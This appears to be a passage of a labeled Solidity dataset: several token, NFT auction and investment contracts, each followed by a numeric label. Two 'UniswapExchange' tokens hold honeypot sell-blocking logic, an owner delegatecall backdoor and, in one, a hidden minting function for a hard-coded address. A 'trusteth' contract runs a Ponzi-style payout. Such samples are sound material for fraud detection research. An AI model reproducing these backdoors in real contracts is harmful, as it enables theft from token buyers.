function settleOrder(Order memory order, bytes memory sig)
public
payable
returns (bool)
{
bytes32 h = assertValidOrder(order, sig);
Signatures[h] = true;
require(
makerTransferFunds(
order.taker_address,
order.quote_quantity,
order.quote_token
)
);
require(
IERC20(order.base_token).transferFrom(
order.taker_address,
msg.sender,
order.base_quantity
)
);
emit OrderExecuted(
msg.sender,
order.taker_address,
order.base_token,
order.quote_token,
order.base_quantity,
order.quote_quantity
);
return true;
}
} | 0 | 1,847 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,579 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,655 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract JointOwnable is Ownable {
event AnotherOwnerAssigned(address indexed anotherOwner);
address public anotherOwner1;
address public anotherOwner2;
modifier eitherOwner() {
require(msg.sender == owner || msg.sender == anotherOwner1 || msg.sender == anotherOwner2);
_;
}
function assignAnotherOwner1(address _anotherOwner) onlyOwner public {
require(_anotherOwner != 0);
AnotherOwnerAssigned(_anotherOwner);
anotherOwner1 = _anotherOwner;
}
function assignAnotherOwner2(address _anotherOwner) onlyOwner public {
require(_anotherOwner != 0);
AnotherOwnerAssigned(_anotherOwner);
anotherOwner2 = _anotherOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC721 {
event Transfer(address indexed from, address indexed to, uint indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint indexed tokenId);
function totalSupply() public view returns (uint);
function balanceOf(address _owner) public view returns (uint);
function ownerOf(uint _tokenId) external view returns (address);
function transfer(address _to, uint _tokenId) external;
function approve(address _to, uint _tokenId) external;
function approvedFor(uint _tokenId) external view returns (address);
function transferFrom(address _from, address _to, uint _tokenId) external;
mapping(address => uint[]) public ownerTokens;
}
contract ERC721Token is ERC721, Pausable {
mapping(uint => address) tokenIdToOwner;
mapping (uint => address) tokenIdToApproved;
mapping(uint => uint) tokenIdToOwnerTokensIndex;
function balanceOf(address _owner) public view returns (uint) {
return ownerTokens[_owner].length;
}
function ownerOf(uint _tokenId) external view returns (address) {
require(tokenIdToOwner[_tokenId] != address(0));
return tokenIdToOwner[_tokenId];
}
function approvedFor(uint _tokenId) external view returns (address) {
return tokenIdToApproved[_tokenId];
}
function getOwnerTokens(address _owner) external view returns(uint[]) {
return ownerTokens[_owner];
}
function transfer(address _to, uint _tokenId) whenNotPaused external {
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint _tokenId) whenNotPaused external {
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint _tokenId) whenNotPaused external {
require(_to != address(0));
require(tokenIdToApproved[_tokenId] == msg.sender);
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function _transfer(address _from, address _to, uint _tokenId) internal {
if (_from != address(0)) {
uint[] storage fromTokens = ownerTokens[_from];
uint tokenIndex = tokenIdToOwnerTokensIndex[_tokenId];
uint lastTokenId = fromTokens[fromTokens.length - 1];
if (_tokenId != lastTokenId) {
fromTokens[tokenIndex] = lastTokenId;
tokenIdToOwnerTokensIndex[lastTokenId] = tokenIndex;
}
fromTokens.length--;
}
tokenIdToOwner[_tokenId] = _to;
tokenIdToOwnerTokensIndex[_tokenId] = ownerTokens[_to].length;
ownerTokens[_to].push(_tokenId);
Transfer(_from, _to, _tokenId);
}
function _approve(uint _tokenId, address _approved) internal {
tokenIdToApproved[_tokenId] = _approved;
}
modifier tokenExists(uint _tokenId) {
require(_tokenId < totalSupply());
_;
}
function _owns(address _claimant, uint _tokenId) internal view returns (bool) {
return tokenIdToOwner[_tokenId] == _claimant;
}
}
contract EDStructs {
struct Dungeon {
uint32 creationTime;
uint8 status;
uint8 difficulty;
uint16 capacity;
uint32 floorNumber;
uint32 floorCreationTime;
uint128 rewards;
uint seedGenes;
uint floorGenes;
}
struct Hero {
uint64 creationTime;
uint64 cooldownStartTime;
uint32 cooldownIndex;
uint genes;
}
}
contract DungeonTokenInterface is ERC721, EDStructs {
uint public constant DUNGEON_CREATION_LIMIT = 1024;
string public constant name = "Dungeon";
string public constant symbol = "DUNG";
Dungeon[] public dungeons;
function createDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _seedGenes, uint _floorGenes, address _owner) external returns (uint);
function setDungeonStatus(uint _id, uint _newStatus) external;
function addDungeonRewards(uint _id, uint _additinalRewards) external;
function addDungeonNewFloor(uint _id, uint _newRewards, uint _newFloorGenes) external;
}
contract DungeonToken is DungeonTokenInterface, ERC721Token, JointOwnable {
event Mint(address indexed owner, uint newTokenId, uint difficulty, uint capacity, uint seedGenes);
function totalSupply() public view returns (uint) {
return dungeons.length;
}
function createDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _seedGenes, uint _floorGenes, address _owner) eitherOwner external returns (uint) {
return _createDungeon(_difficulty, _capacity, _floorNumber, 0, _seedGenes, _floorGenes, _owner);
}
function setDungeonStatus(uint _id, uint _newStatus) eitherOwner tokenExists(_id) external {
dungeons[_id].status = uint8(_newStatus);
}
function addDungeonRewards(uint _id, uint _additinalRewards) eitherOwner tokenExists(_id) external {
dungeons[_id].rewards += uint128(_additinalRewards);
}
function addDungeonNewFloor(uint _id, uint _newRewards, uint _newFloorGenes) eitherOwner tokenExists(_id) external {
Dungeon storage dungeon = dungeons[_id];
dungeon.floorNumber++;
dungeon.floorCreationTime = uint32(now);
dungeon.rewards = uint128(_newRewards);
dungeon.floorGenes = _newFloorGenes;
}
function _createDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _rewards, uint _seedGenes, uint _floorGenes, address _owner) private returns (uint) {
require(totalSupply() < DUNGEON_CREATION_LIMIT);
dungeons.push(Dungeon(uint32(now), 0, uint8(_difficulty), uint16(_capacity), uint32(_floorNumber), uint32(now), uint128(_rewards), _seedGenes, _floorGenes));
uint newTokenId = dungeons.length - 1;
Mint(_owner, newTokenId, _difficulty, _capacity, _seedGenes);
_transfer(0, _owner, newTokenId);
return newTokenId;
}
function migrateDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _rewards, uint _seedGenes, uint _floorGenes, address _owner) external {
require(now < 1520694000 && tx.origin == 0x47169f78750Be1e6ec2DEb2974458ac4F8751714);
_createDungeon(_difficulty, _capacity, _floorNumber, _rewards, _seedGenes, _floorGenes, _owner);
}
}
contract ERC721DutchAuction is Ownable, Pausable {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
ERC721 public nonFungibleContract;
uint public ownerCut;
mapping (uint => Auction) tokenIdToAuction;
event AuctionCreated(uint timestamp, address indexed seller, uint indexed tokenId, uint startingPrice, uint endingPrice, uint duration);
event AuctionSuccessful(uint timestamp, address indexed seller, uint indexed tokenId, uint totalPrice, address winner);
event AuctionCancelled(uint timestamp, address indexed seller, uint indexed tokenId);
function ERC721DutchAuction(address _tokenAddress, uint _ownerCut) public {
require(_ownerCut <= 10000);
nonFungibleContract = ERC721(_tokenAddress);
ownerCut = _ownerCut;
}
function bid(uint _tokenId) whenNotPaused external payable {
_bid(_tokenId, msg.value);
nonFungibleContract.transfer(msg.sender, _tokenId);
}
function cancelAuction(uint _tokenId) external {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint _tokenId) whenPaused onlyOwner external {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
function withdrawBalance() onlyOwner external {
msg.sender.transfer(this.balance);
}
function getAuction(uint _tokenId) external view returns (
address seller,
uint startingPrice,
uint endingPrice,
uint duration,
uint startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function getCurrentPrice(uint _tokenId) external view returns (uint) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _computeCurrentPrice(auction);
}
function _createAuction(
uint _tokenId,
uint _startingPrice,
uint _endingPrice,
uint _duration,
address _seller
) internal {
require(_startingPrice == uint(uint128(_startingPrice)));
require(_endingPrice == uint(uint128(_endingPrice)));
require(_duration == uint(uint64(_duration)));
require(nonFungibleContract.ownerOf(_tokenId) == msg.sender);
require(_startingPrice >= _endingPrice);
require(_duration >= 1 minutes);
nonFungibleContract.transferFrom(msg.sender, this, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function _addAuction(uint _tokenId, Auction _auction) internal {
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
now,
_auction.seller,
_tokenId,
_auction.startingPrice,
_auction.endingPrice,
_auction.duration
);
}
function _bid(uint _tokenId, uint _bidAmount) internal returns (uint) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
uint price = _computeCurrentPrice(auction);
require(_bidAmount >= price);
address seller = auction.seller;
_removeAuction(_tokenId);
if (price > 0) {
uint auctioneerCut = price * ownerCut / 10000;
uint sellerProceeds = price - auctioneerCut;
seller.transfer(sellerProceeds);
}
uint bidExcess = _bidAmount - price;
msg.sender.transfer(bidExcess);
AuctionSuccessful(now, seller, _tokenId, price, msg.sender);
return price;
}
function _cancelAuction(uint _tokenId, address _seller) internal {
_removeAuction(_tokenId);
nonFungibleContract.transfer(_seller, _tokenId);
AuctionCancelled(now, _seller, _tokenId);
}
function _removeAuction(uint _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
function _computeCurrentPrice(Auction storage _auction) internal view returns (uint) {
uint secondsPassed = 0;
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
if (secondsPassed >= _auction.duration) {
return _auction.endingPrice;
} else {
int totalPriceChange = int(_auction.endingPrice) - int(_auction.startingPrice);
int currentPriceChange = totalPriceChange * int(secondsPassed) / int(_auction.duration);
int currentPrice = int(_auction.startingPrice) + currentPriceChange;
return uint(currentPrice);
}
}
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
}
contract DungeonTokenAuction is DungeonToken, ERC721DutchAuction {
function DungeonTokenAuction(uint _ownerCut) ERC721DutchAuction(this, _ownerCut) public { }
function createAuction(
uint _tokenId,
uint _startingPrice,
uint _endingPrice,
uint _duration
) whenNotPaused external {
_approve(_tokenId, this);
_createAuction(_tokenId, _startingPrice, _endingPrice, _duration, msg.sender);
}
} | 1 | 3,568 |
pragma solidity ^0.7.0;
contract transferThroughContract {
function transferTo(address payable _to) public payable {
_to.send(msg.value);
}
} | 0 | 2,352 |
pragma solidity ^0.4.25;
contract trusteth{
mapping (address => uint256) invested;
mapping (address => uint256) dateInvest;
uint constant public FEE = 4;
uint constant public ADMIN_FEE = 4;
address private adminAddr;
constructor() public{
adminAddr = msg.sender;
}
function () external payable {
address sender = msg.sender;
if (invested[sender] != 0) {
uint256 amount = getInvestorDividend(sender);
if (amount >= address(this).balance){
amount = address(this).balance;
}
sender.send(amount);
}
dateInvest[sender] = now;
invested[sender] += msg.value;
if (msg.value > 0){
adminAddr.send(msg.value * ADMIN_FEE / 100);
}
}
function getInvestorDividend(address addr) public view returns(uint256) {
return invested[addr] * FEE / 100 * (now - dateInvest[addr]) / 1 days;
}
} | 0 | 2,212 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
